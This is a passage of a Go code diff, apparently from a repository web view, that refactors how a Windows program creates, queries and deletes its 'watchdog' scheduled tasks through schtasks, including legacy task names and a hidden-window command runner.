return err
|
||||||
}
|
}
|
||||||
path := tmp.Name()
|
_ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F")
|
||||||
defer os.Remove(path)
|
|
||||||
if err := tmp.Close(); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
|
|
||||||
}
|
|
||||||
|
|
||||||
func disableWatchdog() error {
|
|
||||||
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
|
|
||||||
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return err
|
|
||||||
|
func DisableWatchdog() error {
|
||||||
|
var first error
|
||||||
|
for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} {
|
||||||
|
err := runSchtasks("/Delete", "/TN", name, "/F")
|
||||||
|
if err == nil || taskNotFound(err) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if first == nil {
|
||||||
|
first = err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return first
|
||||||
|
}
|
||||||
|
|
||||||
|
func taskExists(name string) bool {
|
||||||
|
return runSchtasks("/Query", "/TN", name) == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func runSchtasksCmdLine(cmdLine string) error {
|
||||||
|
cmd := exec.Command("schtasks")
|
||||||
|
attr := helpers.HiddenSysProcAttr()
|
||||||
|
attr.CmdLine = cmdLine
|
||||||
|
cmd.SysProcAttr = attr
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
msg := strings.TrimSpace(string(out))
|
||||||
|
if msg == "" {
|
||||||
|
msg = err.Error()
|
||||||
|
}
|
||||||
|
return fmt.Errorf("schtasks: %s", msg)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func runSchtasks(args ...string) error {
|
func runSchtasks(args ...string) error {
|
||||||
@@ -55,12 +75,6 @@ func runSchtasks(args ...string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func utf16LE(s string) []byte {
|
func taskNotFound(err error) bool {
|
||||||
u := utf16.Encode([]rune(s))
|
return strings.Contains(strings.ToLower(err.Error()), "cannot find")
|
||||||
out := make([]byte, 0, 2+len(u)*2)
|
|
||||||
out = append(out, 0xFF, 0xFE)
|
|
||||||
for _, r := range u {
|
|
||||||
out = append(out, byte(r), byte(r>>8))
|
|
||||||
}
|
|
||||||
return out
|
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user